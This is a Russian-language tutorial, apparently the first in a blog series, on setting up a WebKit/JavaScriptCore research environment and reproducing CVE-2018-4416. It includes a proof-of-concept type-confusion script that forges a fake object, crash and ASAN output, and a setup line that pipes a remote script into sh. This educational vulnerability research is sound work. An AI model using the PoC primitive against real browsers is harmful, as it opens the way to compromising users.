Обучающий разбор CVE-2018-4416 — уязвимости типа type confusion в WebKit JavaScriptCore, с PoC, настройкой отладки и анализом распространённых техник эксплуатации бинарных уязвимостей браузеров.
Я выбрал относительно простой: /WebKit/. (ChakraCore может быть проще, лол. Но ходят слухи, что Microsoft закрывает проект. Поэтому я решил его не выбирать.)
Я напишу серию постов, чтобы записать свои заметки по изучению безопасности /WebKit/. Это также мой первый опыт изучения безопасности браузеров, поэтому в моих постах вероятно, будет много ошибок. Если вы их заметите, не стесняйтесь связаться со мной для исправлений.
Перед чтением вам необходимо знать: - грамматику C++ - грамматику ассемблера - установку виртуальной машины - быть знакомым с Ubuntu и её командной строкой - базовые концепции теории компиляции
** Виртуальная машина :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Сначала нам нужно установить виртуальную машину в качестве цели для тестирования. Здесь я выбираю /Ubuntu 18.04 LTS/ и /Ubuntu 16.04 LTS/ в качестве целевых хостов. Вы можете скачать [[https://www.ubuntu.com/][здесь]]. Если я не указываю версию, пожалуйста, используйте 18.04 LTS как версию по умолчанию.
Mac может быть более подходящим выбором, так как у него есть XCode и Safari. Учитывая высокое потребление ресурсов и нестабильные обновления MacOS, я предпочитаю использовать Ubuntu.
Нам нужно программное обеспечение для ВМ. Я предпочитаю использовать [[https://www.vmware.com/][VMWare]]. Parallel Desktop и VirtualBox (бесплатный) тоже подойдут, это зависит от ваших личных привычек.
Я не буду рассказывать вам, как шаг за шагом устанавливать Ubuntu на VMWare. Однако я всё же должен напомнить вам выделить как можно больше памяти и процессоров, потому что компиляция потребляет огромное количество ресурсов. Диска на 80 ГБ должно быть достаточно для хранения исходного кода и скомпилированных файлов.
** Исходный код :PROPERTIES: :CUSTOM_ID: source-code :END: Вы можете скачать исходный код WebKit тремя способами: [[https://github.com/WebKit/webkit][/git/]], /svn/ и [[https://webkit.org/getting-the-code/][/archive/]].
Система управления версиями WebKit по умолчанию — svn. Но я выбираю git (слишком незнаком с svn):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** Отладчик и редактор :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE потребляет много ресурсов, поэтому я использую vim для редактирования исходного кода.
Большинство работ по отладке, которые я видел, используют lldb, с которым я не знаком. Поэтому я также устанавливаю gdb с плагином gef.
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** Тестирование :PROPERTIES: :CUSTOM_ID: test :END: *** Компиляция JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Компиляция полного WebKit занимает много времени. Сейчас мы компилируем только JSC (JavaScript Core), откуда берётся большинство уязвимостей.
Теперь вы должны находиться в корневом каталоге исходного кода WebKit. Выполните это для подготовки зависимостей:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
Хотя мы пока не компилируем полный WebKit, вы можете сначала установить остальные зависимости для будущего тестирования. Этот шаг не обязателен при компиляции JSC, если вы не хотите тратить много времени:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
После этого мы можем скомпилировать JSC:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
Через несколько минут мы можем запустить JSC с помощью:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
Давайте проведём несколько тестов:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** Запуск багов :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Здесь Ubuntu 18.04 LTS #+end_quote
Мы используем [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] для тестирования, вот PoC. Сохраните его как =poc.js= в той же папке, что и =jsc=:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
Сначала переключитесь на уязвимую версию:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote Это может занять даже больше времени, чем компиляция #+end_quote
Запустите: =./jsc poc.js=, и мы получим:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
Если мы запустим это на последней версии (=git checkout master= для переключения обратно, и удалим содержимое сборки =rm -rf WebKitBuild/Relase/= и =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex,
... // lots of error message
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
Теперь мы успешно запустили баг!